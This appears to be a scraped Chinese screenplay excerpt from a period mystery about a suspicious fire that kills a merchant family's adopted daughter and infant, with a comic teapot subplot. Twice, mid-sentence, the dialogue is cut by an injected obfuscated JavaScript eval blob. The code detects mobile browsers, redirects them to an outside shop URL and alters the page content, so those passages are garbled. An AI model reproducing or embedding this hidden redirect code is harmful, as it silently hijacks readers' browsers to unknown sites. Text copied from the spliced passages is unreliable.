张正清想都没想,便朝那栋屋子奔了过去。屋里的火势更大,浓烟熏得他睁不开眼睛,外面传来洛宁的喊声:“张大哥!快出来!房子要塌了!”门已经被大火吞没,见旁边有扇窗,张正清抱着头跳了出去。刚落在外面的地上,只听“轰隆”一声,整个屋子都塌了。 洛宁:(冲上来关切地)张大哥!你没事吧? 田佳:老大,你也太勇猛了!你刚才差点儿死在那屋子里! 洛宁:(眼泪瞬间滚落)是啊是啊,吓死我了!呜呜! 张正清:(安慰洛宁)我没事儿,你别哭了! 黄靖:张正清呀张正清,这又不是你们督察府的事,你那么冲动干什么?你瞧把这丫头吓得,小脸儿都花了! 张正清:(摸摸洛宁的头)我没事儿,别担心!(问黄靖)怎么样?屋里的人救出来没? 黄靖:(摇摇头)没有,看样子是活不了了!唉! 4-22 比翼双飞,陈氏夫妇的屋子(日,外) 人物:张正清、黄靖、黄毅、洛宁、田佳、陈氏夫妇、于烈及其手下 天蒙蒙亮时,火终于熄了。督察府也接到报案,于烈带着手下匆匆赶了过来。见到黄靖,他先是一愣,接着便上前作礼。 于烈:参见太子殿下! 黄靖:这里人多,快起来吧!(回头笑着问洛宁)洛姑娘,没吓着你吧? 张正清:(没好气地)这还用问吗?你看看她的表情不就知道了? 趁着黄靖和于烈交谈的工夫,洛宁偷偷地问张正清。 洛宁:张大哥,黄大哥如果是太子的话,那黄毅岂不是…… 张正清:所以我说他跟甜妞儿成不了嘛! 洛宁:(撇了撇嘴)可不是嘛!皇亲国戚岂是人人都能高攀得起? 张正清:你呀你,怎么又跟我较上劲了?我说的是这个意思吗?要不你自己说说,他俩般配吗? 洛宁:甭管般不般配,他俩已经好上了,我可不想捅破这层窗户纸。 张正清:那你就装作什么都不知道,不就行了。 洛宁:唉,眼下只能这样了。 4-23 比翼双飞,陈氏夫妇的屋子(日,外) 人物:张正清、黄靖、黄毅、洛宁、田佳、陈氏夫妇、于烈及其手下 一大一小两具焦黑的尸体从废墟里抬了出来,面容模糊难辨。见此惨景,陈氏夫妇恸哭不止。 黄靖:唉,真可怜呀!昨儿还是圆圆满满的一家人,短短一夜之间就天人永隔了! 4-24 比翼双飞,客厅(日,内) 人物:张正清、黄靖、黄毅、洛宁、田佳、陈氏夫妇、于烈及其手下 督察府的人勘验了火灾现场,确认是灯烛引发的意外。陈老爷的嗓子已经哭哑了,陈夫人则不停地抹着眼泪叹着气。 洛宁:(扯了扯张正清的衣角,小声地)张大哥! 张正清:怎么?有事吗? 洛宁:什么时候验尸? 张正清:已经查明是一桩意外了,还有这个必要吗? 洛宁:我的心中尚有些疑点。 张正清:(盯着她看了看)你想怎样? 洛宁:能不能请你去跟于督察商量一下…… 张正清:陈老爷和陈夫人刚刚痛失了一双儿女,此时若想验尸,只怕他们不会同意。 洛宁:事情没那么简单,你还是去试试吧! 见洛宁坚持,张正清只好去跟于烈讲明此事,于烈听了,先是一怔,他回头望了望洛宁,转身来到她面前。 于烈:洛姑娘,你为何想要验尸? 洛宁:我怀疑,昨夜的那场大火,并非是一桩意外。 于烈:(眯起眼,将她上下打量了一番)此话何意? 洛宁:(对着张正清)张大哥,你还记得昨晚我们在酒楼里吃饭的时候,陈夫人曾以醒酒为名,外出了一小会儿。这期间,她到底去了哪里?干了些什么?何人为证? 张正清和于烈互相对望了一眼,都皱起眉头。 张正清:小鬼,你该不会想说昨晚的那场火是陈夫人放的吧?虎毒不食子!那可是她的亲生儿女,她为何要这么做? 洛宁:也许是我多心了,可我总觉得此事有些蹊跷。(对着于烈)于大人,这是您的案子,是继续调查还是就此结案,应当由您来决定。 于烈:(盯着洛宁看了会儿,点点头)我去跟他们商量一下。 果然,陈氏夫妇不同意验尸。 陈夫人:大人!我的孩子死得那么惨,您还要将他们开膛破肚,于心何忍? 于烈:案情尚有些疑点,不能就此结案,望二位能够节哀顺变,配合一下本府的调查。 陈夫人:疑点?有何疑点? 于烈:既然你问了,本官也不妨直说。陈夫人,昨晚你在鸳鸯楼里摆酒宴客,席间曾离开过一小会儿,去了哪里?干了些什么? 陈夫人一听,脸色微变,而坐在她旁边的陈秉常,也停止了哭泣,哆哆嗦嗦地抬起头,瞅了她一眼,又飞快地缩回目光,用帕子捂住脸,哭得更伤心了。 陈夫人:大人!您这话是什么意思?难道您怀疑昨晚的那场火是我放的?哼,开什么玩笑!我放火烧死自己的孩子,疯了吗? 于烈:本官并没有说那把火是你放的,只不过出于慎重起见,希望能够理清疑点。 陈夫人:我不同意验尸! 于烈:那就请你随本官去督察府,讲清楚你昨晚到底做了些什么。 陈夫人:我不过是出去醒了个酒而已,什么都没做。 于烈:何人为证? 陈夫人:鸳鸯楼里的客人和伙计都知道这件事。 于烈:有人随你一同出去吗? 陈夫人:只一小会儿而已。 于烈:鸳鸯楼离出事的房屋不远,这一小会儿,足够你在这二者之间跑一个来回了。 陈夫人:比翼双飞里这么多人,您为何偏偏怀疑我? 于烈:本官之所以决定验尸,也是为了替夫人你洗清嫌疑。 陈夫人:我不同意验尸! 于烈:案情存疑,恐怕由不得你了! 京城 4-25 皇宫,慧月公主殿(日,内) 人物:慧月公主、万贵妃、宫人若干 见张正清冲进火海救人,慧月公主当场就晕了过去,黄靖派人先把她送回了宫中。 万贵妃:慧月,怎么样?好些没? 慧月公主:母亲,正清哥哥呢?他怎么样? 万贵妃:(没好气地)你自己吓成了这样,竟然还在担心他。 慧月公主:那场火实在是太大了,我见他奋不顾身地冲进去,还以为他…… 万贵妃:他没事!不过他这副样子,也着实令母亲很担心。 慧月公主:什么意思? 万贵妃:他就算是不在乎自己的性命,也得替你、替他爹娘想一想,若没出事还好,若出了什么事,你们可怎么办呀? 慧月公主:(点点头)嗯,也是,他要是能别那么冲动就好了。 万贵妃:你跟他们一道儿出去,他对你怎么样? 慧月公主:挺好啊! 万贵妃:那为何不是他把你送回来的? 慧月公主:这不能怪他,是我自己太不争气,一看见火势那么大,当场就晕了过去,所以太子哥哥才派人先把我送了回来。不过这样也好,听说那对姐弟的尸体被火烧得面目全非,如果我留在那里的话,肯定早就被吓坏了。 万贵妃:你呀你,胆子这么小,以后还是少出宫吧! 4-26 督察府,议事厅(日,内) 人物:张正清、黄靖、黄毅、洛宁、田佳、于烈、仵作 督察府里,一行人正在等待仵作的验尸结果。 黄靖:要我说,这件事就是一场意外,何必那么较真呢?有这个闲工夫,去办点儿别的案子不行吗? 洛宁:(没有理会他,对着张正清)张大哥,刚才于督察询问陈夫人的时候,你看见陈老爷的反应没? 张正清:我原以为他会像陈夫人一样愤然与我们争执,没想到他却是一副敢怒不敢言的样子。 黄靖:什么意思? 张正清:他好像在害怕什么。 黄靖:陈夫人的性子那么强势,他肯定是惧内了。 张正清:那就更应该好好地查一查了。 仵作来了。 于烈:结果如何? 仵作:回大人的话,别的倒没什么,只不过那位容缕姑娘,已经有了身孕。(众人大吃一惊) 黄靖:身孕?这么说又多了一条人命?孩子的爹是谁?(众人把目光投向洛宁) 洛宁:或许陈氏夫妇知道这件事,去问问他们吧。 4-27 督察府,客厅(日,内) 人物:陈氏夫妇、于烈 于烈将容缕姑娘身怀有孕的事情,告诉了陈氏夫妇。 陈秉常:(一听便愣住了)您……您说什么?容缕她……她有了身孕?(放声大哭)孩子呀!我可怜的孩子呀! 陈夫人的鼻子里冷冷地哼了一声,没有说话。 4-28 督察府,议事厅(夜,内) 人物:张正清、黄靖、黄毅、洛宁、田佳、于烈、孙捕头 得知陈氏夫妇的反应之后,洛宁皱起眉头。 洛宁:他们竟然对孩子的生父只字未提,真奇怪呀! 于烈:陈老爷只顾着哭泣,陈夫人一言不发,似乎并不想谈论此事。 黄靖:家丑不可外扬!对一个未出阁的姑娘来说,这种事情当然是越少人知道越好! 田佳:人都已经没了,还在乎这个? 黄毅:陈氏夫妇经营比翼双飞多年,在京城里也颇有些名气。如果被人知道他们的女儿不检点,怕是会影响比翼双飞的声誉。 黄靖:既然这样,那就别再追查了。他们的家务事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007377|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就让他们关起门来自己解决吧! 洛宁:我倒是觉得陈老爷的那句话挺值得玩味儿。 于烈:哪句话? 洛宁:(模仿陈秉常的口吻)孩子呀!我可怜的孩子呀! 张正清:(眯起眼)什么意思?难不成那孩子是他的? 黄靖:开什么玩笑!那可是他的亲生女儿,他怎么能做出这种禽兽不如的事! 洛宁:酒楼的伙计说,容缕姑娘之前一直生活在乡下,并未与陈氏夫妇同住。 于烈:(想了想,对着孙捕头)孙捕头,立刻去查明容缕姑娘的来历! 孙捕头:是!(转身离开) 于烈:(走上前对着洛宁)洛姑娘,能不能请你…… 张正清:(一口打断)于烈!按理说,咱们是同行,你有什么事情,我协助你是应该的;问题是我若管得太多,人家会说我不识抬举、越俎代庖,这让我着实很为难!(又冲着洛宁吼)还有你这个小屁孩!我跟你说过多少次了,让你少管他人的闲事,你怎么就是不听呀?你也不看看这里是什么地方?这里是京城,不是凤凰城,就凭你那点儿小聪明,还想在这里显摆?你以为你是谁呀?你也不问问于督察,这里有你说话的份儿吗?你的脸皮怎么那么厚啊?我都替你感到害臊!趁早点儿给我打道回府,别在这里丢人现眼! 洛宁:走就走!姑娘我还不稀罕待在这里呢!哼!(气呼呼地走了) 于烈:(皱眉)张督察,你这样说,是不是有点儿太过分了? 张正清:一点儿也不过分!若不是看在你和黄靖的面子上,我早揍她了! 黄靖:张正清呀张正清,你这个当督察的,比我这个当太子的还威风!我对我的太子妃,还从来不敢这样呢! 张正清:(一脸得意)没办法,谁让她就吃这一套呢!哼哼! 京郊 4-29 马路上(日,外) 人物:张正清、黄靖、黄毅、洛宁、田佳 临行前,黄靖赶来送别。 黄靖:(面对着洛宁,一副深情款款的样子)洛姑娘!你远在凤凰城,我若是想你了,可怎么办呀? 张正清:简单呀!你只需给自己两个耳光,把自己扇醒了,自然就不会想了。 黄靖:(没好气地)喂喂喂,张正清!我正在跟人家洛姑娘依依话别,你能不能别捣乱呀? 张正清:(瞪了他一眼)到底是谁在捣乱?如果不是为了等你,我们这会儿早就到显州了。 黄靖:我这不是一大早被你大姨叫过去训话了吗? 张正清:(扑哧一笑)啧啧,真可怜!看来在京城,远不如在凤凰城里自在呀!哈哈哈! 洛宁:太子殿下,下次我来京城,您能不能带我去宫里逛逛呀? 黄靖:这有何难?你想去哪儿,只管跟我说一声,别的不敢说,但宫里我可是比任何人都熟! 张正清:你先别答应得这么爽快,免得将来后悔! 黄靖:一个小丫头,能有多皮呀? 张正清:以后你自然会知道,哈哈哈! 京城 4-30 比翼双飞,陈氏夫妇的屋子(日,内) 人物:陈氏夫妇 见陈秉常整日以泪洗面,陈夫人万分恼火,冲上去给了他几个响亮的耳光。 陈夫人:陈秉常!你哭完了没? 陈秉常:是不是你干的?是不是你干的?呜呜! 陈夫人:是又怎样?不是又怎样?反正那母子俩已经死了! 陈秉常:你怎么不连我也一起杀了呢? 陈夫人:怎么?你还想给那母子俩殉葬呀? 陈秉常:母子俩?容缕的肚子里还有一个孩子呢! 陈夫人:都是孽种!都一样该死! 陈秉常:之前咱们可是说好了…… 陈夫人:(冷笑一声)说好了?你指什么?一夫一妻、比翼双飞吗? 陈秉常:你……唉,没错,是我对不住你!我不该从外面弄来一个女人,还跟她生下一个孩子。可你也不想想,你不能生育,咱们这么大的家业,将来交给谁? 陈夫人:(怒吼)陈秉常!你一个连鞋都没得穿的穷小子,哪来什么家业?若不是我从娘家带过来的那些嫁妆,你凭什么开办这个比翼双飞?真以为自己是这里的主人吗? 陈秉常:我知道自己没本事,也从来没想过要当这里的主人…… 陈夫人:从来没想过?(冷笑一声)陈秉常,你打算跟那女人生几个孩子呀?这些孩子将来是不是要接管比翼双飞呀?你俩搂在一起睡觉时,有没有商量过要把我从这里赶出去呀? 陈秉常的脸色顿时变得煞白。 陈夫人:哼!什么比翼双飞,根本就是鸠占鹊巢!不过很可惜,你俩晚了一步!哈哈哈! 她猖狂的笑声,激怒了陈秉常,大叫着朝她扑过去。 陈秉常:你这个毒妇!我杀了你! 陈夫人一闪身,陈秉常扑了个空,整个人趴在地上,半天起不来。 陈夫人:陈秉常,这里可是比翼双飞!杀了我,你也完了!告诉你吧,自从知道你俩的那些龌龊事之后,我就想杀了你。只不过为了比翼双飞,我一直强忍着。那么现在,该换成你了!哈哈哈! 31. 第四篇 表哥和他的朋友 梁州,凤凰城 4-31 洛府,木兰小院,洛宁的屋子(日,内) 人物:洛宁、银华 一回到凤凰城,银华便告诉洛宁,顾云飞病了。 洛宁:(一听便十分激动)你说什么?顾云飞病了? 银华:对呀!你不去看看他吗? 洛宁:灵堂布置好了没?棺材准备好了没?打算在哪儿下葬? 银华:(白了她一眼)丫头,他是病了,不是死了。胡说什么呢! 洛宁:哼,我就知道你会护着他! 银华:唉,我明白!上次的那件事,他让你受了不少委屈,你的心里不痛快。要不这样吧,我替他给你赔个不是? 洛宁:我的屁股肿了几天,你一句话就想替他了事,没门儿! 银华:那你说怎么办?要不你也揍我一顿? 洛宁:你这个家伙皮糙肉厚,我的巴掌落在你的身上,跟挠痒差不多。 银华:嘿嘿,那你就给我挠挠痒呗! 洛宁:你去替我办件事。 银华:又要干什么?我的姑奶奶,你可千万别再惹他生气了! 洛宁:你怕他生气,就不怕我生气呀?反正这个忙你若不帮的话,以后就别来木兰小院了,哼! 银华:得得得,你说!什么事? 洛宁对银华耳语几句,银华的眉头先是一皱,接着便笑了。 4-32 天地会总会,恩威堂,顾云飞的屋子(日,内) 人物:顾云飞、银华 顾云飞醒来的第一件事就是泡茶。 顾云飞:咦?老寿星呢? 他在茶柜里找了半天,也没发现他平常最爱用的那把茶壶。 顾云飞:(冲着外面喊)银华! 银华:(从外面进来)怎么了,老大? 顾云飞:你看见我的茶壶没? 银华:你的茶壶?不都摆在那个柜子里吗? 顾云飞:那把老寿星不见了。 银华:老寿星?就是那个圆滚滚的乌泥壶吗? 顾云飞:没错,正是它。你看见了没? 银华:(摇摇头)没有。 顾云飞:奇怪!哪去了? 银华:会不会忘在听雨轩了? 顾云飞:昨儿我还拿它泡过茶,应该不在那里。 银华:不在那里的话,会在哪里呢? 顾云飞:你快去帮我找找吧! 银华:哦,好嘞! 4-33 天地会总会,恩威堂,顾云飞的屋子(日,内) 人物:顾云飞、风无行 苦寻了几日,也没见着那把老寿星,顾云飞不免有些垂头丧气。 顾云飞:那可是我最珍爱的一把茶壶,怎么会说丢就丢了?唉! 风无行:茶壶跟人一样,也讲究缘分…… 顾云飞:(一口打断)人有腿,茶壶可没长腿! 风无行:你把各处都找遍了吗? 顾云飞:当然了。 风无行:木兰小院呢?你去过了没? 顾云飞:不可能在那里。 风无行:你去过了没? 顾云飞:我让银华去找过,没发现那把壶。 风无行:那小子向来粗心大意,或许漏了什么地方。要我说,你还是亲自去一趟吧! 顾云飞:(眯起眼)风堂主,你什么意思? 风无行:(笑着说)意思就是,那丫头正等着你去给她赔不是呢! 4-34 洛府,木兰小院,洛宁的屋子(夜,内) 人物:洛宁、顾云飞 洛宁正在镜前梳头,顾云飞来了。 洛宁:(假装很意外)哟!这不是顾大堂主吗?什么风把您给吹来了? 顾云飞:丫头,我的茶壶呢? 洛宁:(假装没听见)您不是病了吗?病了就该好好休息,来这里干嘛? 顾云飞:丫头,是不是你把我的茶壶藏起来了? 洛宁:昨儿我听寒冰说,您不肯吃药,怎么回事? 顾云飞:(板起脸)丫头!我再问你一遍,我的茶壶是不是在你这里? 洛宁:茶壶?什么茶壶?你的茶壶怎么可能会在我这里? 顾云飞:是你让银华干的,对不对? 洛宁:(一脸无辜)云飞大哥,你在说什么呀?我怎么听不懂呢? 顾云飞:你若是不把它交出来,我可就不客气了。 洛宁:怎么?又想打我呀?(指着自己的屁股)来来来,往这儿打!反正你也不是头一回打我了,哼! 顾云飞:你……(耐着性子)你到底给不给? 洛宁:一把茶壶而已,丢了就丢了,再买一个不就行了! 顾云飞:那把茶壶我用了整整十年! 洛宁:那又怎样?你又不是只有那一把茶壶。 顾云飞:别的茶壶都不如它!若没了它,喝什么茶都差一味儿! 洛宁:提起这个,我倒是想起来了,前几日我在木兰小院的花篱里,也发现了一把茶壶,不知道是不是你要的那一把? 顾云飞:终于肯承认了呀? 洛宁:问题是那把茶壶又旧又脏,当茶壶实在是太丑了,当夜壶还差不多。 顾云飞:你敢拿它当夜壶试试?信不信我……咳咳咳! 他一激动,竟猛烈地咳嗽起来,洛宁皱起眉头。 洛宁:云飞大哥,你还病着,别动不动就发火。如果那把茶壶是你的,你只需给我赔个不是,我便将它还给你。 顾云飞:你骂了我,还想让我给你赔不是? 洛宁:你不也打了我吗? 顾云飞:茶壶在哪儿?给我拿出来! 洛宁:木兰小院就这么巴掌大的一块儿地方,你可以自己慢慢找嘛!要不……我先睡了?(往床边走去,却被他拦住) 顾云飞:你若不把茶壶拿出来,今晚就别想睡觉了。 洛宁:行呀,要不你今晚就在这里留宿吧? 顾云飞:你…… 她嘻嘻一笑,撇开他上床躺下。 顾云飞:臭丫头!等我找到了茶壶,看我怎么收拾你!还有银华,你们两个一个都别想逃!哼! 他在屋里四处翻找,洛宁躺在床上,用手撑着头,笑望着他。 洛宁:云飞大哥,今晚的你可真温柔,居然能忍住不动手。若搁在平常,我的屁股肯定早就被你打肿了! 他找了半天,一无所获,上前揪住她。 顾云飞:到底在哪儿?再不说我可真动手了! 洛宁:呀,我突然忘记把它放在哪儿了!要不你先回去,等我哪天想起来了,再把它还给你! 说完她打了个哈欠,往枕头上一靠,闭上眼睛。他心里窝着火,却又不敢发作,只好长叹一声。 顾云飞:唉!得得得,算你狠!我给你赔不是,这样总行了吧? 洛宁:你说什么?我没听清楚!重要的事情,起码要说上三遍! 顾云飞:你…… 洛宁:(翻身背对着他)好困呀!你走吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007378|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我要睡觉了。 顾云飞:(踌躇了半天,方才俯下身,在她耳边轻声并且快速地)我错了!我错了!我错了! 她扑哧一笑。 顾云飞:快把茶壶还给我吧! 洛宁:还有件事。 顾云飞:还有?丫头,你可别得寸进尺! 洛宁:药在桌子上放着,你去把它吃了。 顾云飞:(先是一愣,又叹了句)唉!你呀你,可真能折腾! 他走到桌前,皱着眉头喝完药,嘴里虽然发苦,心头却微微一暖。 顾云飞:小祖宗,这下你满意了吧? 洛宁:给我唱支摇篮曲。 顾云飞:你……丫头,你是不是有点儿太过分了? 洛宁:我还从来没听你唱过歌呢!放心吧,我不会笑话你! 他无奈地叹了口气,在她耳边轻轻地哼起小曲儿。 洛宁:这是什么曲子? 顾云飞:(一字一顿地)臭、丫、头! 他捏了下她的鼻头,跟着温柔地笑了。 自那之后,洛宁便每日督促顾云飞吃药,直到他的病完全好了,方才将老寿星还给他。 4-35 天地会总会,恩威堂,顾云飞的屋子(日,内) 人物:顾云飞、风无行 一看见桌上的茶壶,风无行便笑了起来。 风无行:咦!这不是老寿星吗?你在哪里找到的?是不是木兰小院? 顾云飞:其实没丢,是我记错了。 风无行:哦,这样啊!你的病呢?好些没? 顾云飞:已经好了。 风无行:这么快?吃了什么灵丹妙药? 顾云飞:一点点小毛病而已,用不着吃药。 风无行:哦,这样啊!(顿了顿)那丫头的嘴里最近总哼着一支小曲儿,我问她跟谁学的,她说是你教的。我就纳闷了,你不是从来不会唱曲儿吗? 顾云飞:(两眼一瞪)她在撒谎! 风无行:哦,这样啊!唉,可真是太难为你了,哈哈哈! 4-36 洛宏的私宅(夜,内) 人物:洛宏、慕容深 慕容深路过凤凰城,顺道来见了洛宏一面。 慕容深:(皱起眉头)又是那个家伙! 洛宏:一个整日只知道煮雪烹茶的闷葫芦,我却拿他一点儿办法都没有。唉! 慕容深:咱们的时间又多了十年…… 洛宏:(一口打断)是整整二十年! 慕容深:(吃惊)二十年? 洛宏:我去木兰小院里数过了,少了两朵。 慕容深:可那女人的身上只有一朵木兰花,另一朵呢? 洛宏:(摇摇头)不清楚,我当时以为她只摘了一朵。 慕容深:会不会数错了? 洛宏:我来回数了几遍,都是那个数。 慕容深:或许被别的人偷摘了去? 洛宏:如果被别的人偷摘了去,我不可能不知道。 慕容深:那是怎么回事?要不我回去问问鱼小儿? 洛宏:嗯,也好。他怎么样?学乖了吗? 慕容深:整日捧着那个木匣子发呆,像丢了魂似的。 洛宏:(冷笑一声)哼,总算安分了。另外几个人呢?情况如何? 慕容深:我若说出来,只怕你会更糟心。 洛宏:唉,真是一群不懂事的家伙呀! 慕容深:(苦笑着点点头)是啊,跟我那个不争气的儿子差不多!唉! 32. 第四篇 表哥和他的朋友 梁州,凤凰城 4-37 督察府,张正清的屋子(日,内) 人物:张正清、洛宁 洛宁刚走进督察府,便被张正清叫了过去。 张正清:(慢条斯理地)有人给我写了封信,信上提到了你。 洛宁:(皱起眉头,盯着他看了会儿)张大哥,你又想卖什么关子?既然是写给你的信,那就是你的事,叫我进来干嘛? 张正清:(两眼一瞪)小屁孩,你这是什么态度?上次在比翼双飞的账,我还没跟你算呢! 洛宁:张大哥,你这么爱算账,当初为何不去当账房先生? 张正清:你是不是又想抄大忏悔文了? 洛宁:抄就抄呗,大不了找人代笔! 张正清:(扑哧一笑)噢,原来你知道呀! 洛宁:你和黄毅的笔迹相差那么远,真以为我看不出来呀! 张正清:那你当时怎么不说? 洛宁:你是老大,谁敢揭穿你呀? 张正清:那你倒是说说,比翼双飞的那场大火,你是如何看出了其中的端倪? 洛宁:干嘛问这个? 张正清:(拿出信纸在她眼前晃了晃)于烈的信。 洛宁:他怎么会突然想起来给你写信? 张正清:不是你把他给招来的吗? 听了这话,洛宁连看都不看一眼,把信纸揉成一团,扔了出去。 张正清:喂,你干什么呀? 洛宁:你不是让我别多管闲事吗?那咱们以后就不要再提比翼双飞的事了! 张正清:(拍桌子)小屁孩!你怎么天天跟我对着干呀?有意思吗? 洛宁:你不也天天在找我的茬吗?不管我说什么做什么,你都看不顺眼…… 张正清:(连忙摆手打断)得得得!不说这个了,说正事! 洛宁:不是咱们督察府的事,就不要说了! 张正清:小屁孩,你怎么还没完没了了?我可是你的上司,你做得不对,我骂你几句怎么了? 洛宁:那你倒是说说,我做错什么了? 张正清:明明是一桩意外,你却偏说是一场谋杀,这不就是错了吗? 洛宁:明明是一场谋杀,若以一桩意外草草结案的话,对得起死者吗?那可是活生生的三条人命! 张正清:你说那把火是陈夫人放的,有何证据? 洛宁:她有作案时间。 张正清:仅凭这个? 洛宁:那日我跟你坐在飞鸢上时,我曾无意中看见她呵斥容缕姑娘,并且拿簪子戳她和那个孩子。 张正清:原来是这样。 洛宁:如果容缕姑娘做错了什么事,她打她一顿、骂她一顿,倒也无妨;但我实在不明白她怎么能对一个刚满周岁的婴儿、下那么重的手?她可是他们的母亲! 张正清:于烈已经查明,容缕姑娘并非陈氏夫妇的亲生女儿。 洛宁:果然! 张正清:容缕姑娘在来比翼双飞之前,一直跟她的亲生父母生活在一起,直到她弟弟成亲之后,方才去了京城。 洛宁:这跟她弟弟有何关系? 张正清:他们家世代务农,家境并不富裕,却能一下子拿出二百两银子的彩礼,是不是很奇怪呀? 洛宁:这笔银子应该是陈氏夫妇给的吧! 张正清:拿卖女儿的钱,给儿子娶媳妇,这种事情在乡下,并不少见。 洛宁:那个婴儿呢?到底是谁的孩子? 张正清:你为何会对这个起疑心? 洛宁:酒楼的伙计说,陈夫人虽然连生了两个孩子,身段却依然曼妙如初。 张正清:那又怎样? 洛宁:女人在生孩子之前和生孩子之后,身段不可能不发生变化,除非…… 张正清:除非她从不曾生育过。 洛宁:没错!所以我怀疑容缕姑娘和那个婴儿,都不是陈夫人的亲生骨肉,正因为这样,她才能狠心杀了他们。 张正清:就算不是自己的亲生骨肉,也不该杀了他们,尤其是那个婴儿…… 洛宁:(模仿陈秉常的口吻)孩子呀!我可怜的孩子呀! 张正清:难道说连他也是…… 洛宁:悍妇善妒! 张正清:唉,没想到这一家人的关系竟然如此不堪! 洛宁:所以我说那个地方不该叫比翼双飞嘛! 张正清:(没好气地)不叫比翼双飞叫什么? 洛宁:(想了想)叫……同床异梦怎么样? 张正清:就你会说!(伸手去拍她的脑门,被她笑着躲开了) 洛宁:除了容缕姑娘的身世之外,于督察还查出了什么? 张正清:他倒是想查,可惜没人肯帮他。 洛宁:什么意思? 张正清:那场大火发生之后,陈氏夫妇便以为儿女做善事积阴德为由,减免了比翼双飞内各商户的租金,并且把手下那些人的月钱涨了数倍。 洛宁:啧啧,这个陈夫人,可真会笼络人心呀! 张正清:正因为此,那些人即使在那夜看见了什么,也断然不会说出口了。 洛宁:张大哥,如果你也多给我发点儿薪水,我也保证什么都不说。 张正清:(眯起眼)我有把柄在你手里吗? 洛宁:那个……慧月公主算不算? 张正清:小鬼,黄毅的事,你姐知道了吗? 洛宁:(立刻改口)张大哥,督察府的待遇非常丰厚,我知足了! 张正清:你能有这样的觉悟,真是太不容易了,哼哼! 京城 4-38 督察府,于烈的屋子(日,内) 人物:于烈、孙捕头、捕快若干 于烈试图说服陈秉常说出真相,可陈秉常除了一个劲儿地哭之外,什么都不肯说。 孙捕头:这个陈秉常,怎么只知道哭呀?儿女死得不明不白,他却连站出来说句话的胆量都没有,怕老婆怕到这种程度,还真是少见呀! 于烈:不仅仅是惧内而已。 孙捕头:哦,还有什么? 于烈:为了比翼双飞。 孙捕头:为了比翼双飞? 于烈:我问你,人们为何会在乞巧节的时候去比翼双飞? 孙捕头:当然为了图个好兆头。 于烈:如果比翼双飞变成了劳燕分飞,人们还会去吗? 孙捕头:您的意思是…… 于烈:陈氏夫妇就如同一对比翼鸟,只有他俩和和美美地在一起,比翼双飞的生意才会兴旺。 孙捕头:既如此,他俩又何必收养容缕姑娘? 于烈:容缕姑娘与陈秉常之间的关系扑朔迷离。若真如洛姑娘所言,容缕姑娘腹中的胎儿是陈秉常的亲生骨肉的话,这就意味着陈秉常对陈夫人不忠,背弃了当初“一夫一妻、比翼双飞”的承诺。 孙捕头:以陈夫人的性子,断然不会接受这些。 于烈:可她却接受了,不是吗? 孙捕头:为了比翼双飞? 于烈:(笑着点点头)没错!所以说,在这一点上,他们两口子倒是一条心。 孙捕头:既然接受了,又为何要放那把火? 于烈:在你看来,那把火是人为还是意外? 孙捕头:说实在的,若洛姑娘不说,我会认为那就是一场意外。 于烈:(问手下的捕快)你们是不是都觉得我在没事找事呀? 众捕快:(摇头否认)没有!没有!属下不敢! 于烈:不如这样吧,咱们再试一次。如果这次也失败了,那么这件事就以意外结案吧! 4-39 比翼双飞,陈氏夫妇的屋子(日,内) 人物:陈氏夫妇 这一日,陈秉常刚从宿醉中醒来,却见陈夫人从外面进来,不由分说地给了他两巴掌。 陈夫人:陈秉常!你这个不要脸的王八蛋! 陈秉常:怎……怎么了? 陈夫人:是不是你干的? 陈秉常:什……什么呀?夫人,你有话不能好好地说吗? 陈夫人:跟你这个不要脸的王八蛋,有什么好说的? 陈秉常:夫人,我到底又做错什么了? 陈夫人:(拿出一张信纸)我问你,这是什么? 陈秉常定睛一看,却见信上写着五个大字:我看见你了。 陈秉常:我看见你了?什……什么意思呀? 陈夫人:你说呢? 陈秉常:(忽然反应过来)呀!该不会那天晚上…… 他抬头看着陈夫人,她正恶狠狠地瞪着他,那眼神像是要将他一口吞了。 陈秉常:(哆哆嗦嗦地)夫……夫人,这……这真的不关我的事呀! 陈夫人:除了你还能是谁?陈秉常呀陈秉常,你想讹我?做梦!大不了咱俩同归于尽! 陈秉常:夫人呀,你是不是被气糊涂了呀?我若是想讹你的话,当初于大人问我话的时候,我就全告诉他了,又何须等到现在呢? 听了这话,陈夫人的神色有所缓和。 陈夫人:(眯起眼)真的不是你干的? 陈秉常:真的不是!我若是干了这种事情,天打五雷轰! 陈夫人:(冷笑一声)陈秉常,你在我面前发过的毒誓,有一个做到了吗?让我怎么相信你? 陈秉常:至少这回我没出卖你呀!夫人,看在比翼双飞的份上,你就再信我一次吧! 陈夫人:那你倒是说说,会是谁? 陈秉常:比翼双飞里每天来来往往的人那么多,你出去醒酒,难保不会被人看见。 陈夫人:看见了又能怎样?仅凭他一个人的说辞,督察府会信吗? 陈秉常:一人为私,三人为证。如果对方不止一个人呢? 陈夫人:那就是串供,同样不可信! 陈秉常:夫人呐!督察府已经对你起了疑心,这个时候如果有人愿意出来作证,他们肯定不会放过你!如果你被他们抓走了,比翼双飞可怎么办呀? 陈夫人:唉,这些人到底是谁?咱们已经作出了最大的让步,可他们还嫌不够,真是太贪心了! 陈秉常:人心不足蛇吞象嘛! 4-40 比翼双飞,陈氏夫妇的屋子(夜,内) 人物:陈氏夫妇 过了几日,又来了一封信。 